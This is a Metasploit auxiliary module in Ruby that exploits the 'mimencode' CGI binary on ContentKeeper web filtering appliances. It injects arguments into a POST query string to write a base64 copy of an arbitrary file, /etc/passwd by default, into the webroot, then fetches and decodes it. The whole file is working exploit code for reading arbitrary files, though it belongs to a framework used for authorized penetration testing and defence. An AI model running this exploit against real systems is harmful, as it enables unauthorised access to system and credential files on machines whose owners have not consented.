metasploit-framework/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb

72 lines
2.4 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'ContentKeeper Web Appliance mimencode File Access',
'Description' => %q{
This module abuses the 'mimencode' binary present within
ContentKeeper Web filtering appliances to retrieve arbitrary
files outside of the webroot.
},
'References' =>
[
[ 'OSVDB', '54551' ],
[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
],
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE)
register_options(
[
OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),
], self.class)
end
def run_host(ip)
begin
tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traveral data in a hard-to-brute filename, just in case.
print_status("Attempting to connect to #{rhost}:#{rport}")
res = send_request_raw(
{
'method' => 'POST',
'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE'],
}, 25)
if (res and res.code == 500)
print_status("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")
file = send_request_raw(
{
'method' => 'GET',
'uri' => '/' + tmpfile,
}, 25)
if (file and file.code == 200)
print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")
elsif (file and file.code)
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
end
elsif (res and res.code)
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end